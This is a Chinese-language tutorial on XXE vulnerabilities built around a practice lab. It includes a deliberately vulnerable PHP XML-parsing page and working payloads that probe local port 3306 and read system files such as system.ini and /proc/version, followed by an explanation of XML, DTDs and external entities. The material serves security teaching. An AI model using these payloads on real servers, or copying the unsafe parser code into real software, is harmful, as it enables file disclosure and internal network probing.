XXE漏洞
如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞
漏洞利用流程
1.客户端发送xml文件,其中dtd存在恶意的外部实体引用
2.服务器进行解析
3.服务器返回实体引用内容
危害:任意文件读取,系统命令执行
实例
靶场代码[可替换为pikachu靶场]
<head><meta charset=utf-8>
<title>xxe测试</title>
</head>
<body>
<form action='' method='post'>xml数据:<br>
<textarea type="text" name="data"></textarea>
<br><input type='submit' value='提交' name='sub'>
</form>
</body>
<?php
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){
$data= $_POST['data'];
$xml = simplexml_load_string($data);
print($xml);
}
?>
页面效果
1.使用xxe获取服务器端口信息
paylod
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">]>
<BookInfo>
&xxe;
</BookInfo>
运行逻辑
- 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
- 然后,解析器会尝试解析
xxe
实体,根据定义,会向http://127.0.0.1:3306
发起请求,尝试获取数据。 - 如果端口开启,会正常响应,如果关闭页面加载异常
2.任意文件读取
paylod
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY xxe SYSTEM "file:///c://windows//system.ini">]>
<BookInfo>
&xxe;
</BookInfo>
在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\
)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/
)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。
windows路径:file:///c://windows//system.ini
linux路径:file:///proc/version
XML基础
XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强
用途:存储配置文件,数据交换
XML格式要求
基础XML内容
<?xml version="1.0" encoding="UTF-8"?>
<BookInfo>
<Book>
<Title>书名</Title>
<Author>张三</Author>
<Publisher>出版社</Publisher>
<PublicationYear>2024</PublicationYear>
<ISBN>6226097558881666</ISBN>
<Genre>类型</Genre>
<Price>1000</Price>
<Description>书籍简介</Description>
</Book>
<Seller>
<Id>6222083803003983</Id>
<Name>李四</Name>
</Seller>
</BookInfo>
文档构成
文档第一行为xml声明文件描述xml版本及编码信息
<?xml version="1.0" encoding="UTF-8"?>
文档根元素为 <BookInfo> 闭合标签为 </BookInfo>
文档根元素下具有 <Book> 和 <Seller> 子元素
其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名
这些元素构建成了·xml文档对信息进行描述和传递
XML文档规范
当xml文件内容过多时,为防止内容混乱
引入了DTD(文档类型描述)用于声明文档结构
DTD定义了文档结构及元素的规则
DTD构成
DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则
<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>
1. 文件类型声明 : !DOCTYPE
关键字DOCTYPE 表明此文件根元素为BookInfo
2. [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。
3. 元素定义:<!ELEMENT BookInfo (Book, Seller)>
关键字ELEMENT 定义元素下有哪些子元素
DTD实体的定义
实体 相当于提前定义的全局变量的值,可在文档中进行引用
实体的定义
关键字:ENTITY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
内部实体的引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>
页面效果
外部实体文件及引用
外部实体文件
<!ENTITY name "xiaoming">
文件引用
DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd" >
]>
<BookInfo>
<name>&name;</name>
</BookInfo>
完整的xml文档内容
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>
<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL">
<!-- 第三部分:文档元素 -->
<note>
<to>Dave</to>
<from>GiGi</from>
<head>Reminder</head>
<body>fish together</body>
</note>